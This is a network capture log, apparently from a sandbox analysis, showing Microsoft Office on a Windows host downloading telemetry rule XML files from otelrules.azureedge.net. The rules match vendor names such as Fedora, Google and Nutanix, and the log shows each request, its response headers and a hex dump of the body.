2024-11-01 02:46:06 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:06 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024606Z-17c5cb586f67hfgj2durhqcxk800000009eg000000003y13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:06 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:06 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024606Z-16849878b78fkwcjkpn19c5dsn00000009f0000000007gps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024606Z-16849878b78bjkl8dpep89pbgg000000091g00000000mx1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:06 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024606Z-16849878b78x6gn56mgecg60qc0000000c90000000005hkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:06 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 5926a802-601e-0032-207f-2aeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024606Z-16849878b78qf2gleqhwczd21s0000000ang000000009ers x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:07 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024607Z-16849878b787bfsh7zgp804my4000000094g00000000hkfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:07 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024607Z-16849878b78z2wx67pvzz63kdg00000008yg00000000m00a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:07 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: bce25016-801e-0035-64b4-2a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024607Z-159b85dff8flqhxthC1DFWsvrs00000002eg00000000a3n6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:07 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: e25324d1-d01e-00a1-7b3f-2b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024607Z-15b8d89586fnfb49yv03rfgz1c0000000260000000000fwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:07 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024607Z-16849878b78j7llf5vkyvvcehs0000000bdg00000000m678 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:08 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 11b83051-201e-005d-1b95-2bafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024608Z-159b85dff8fvjwrdhC1DFWymhn00000001400000000013rr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:08 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024608Z-16849878b78nzcqcd7bed2fb6n00000002rg00000000tbzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R 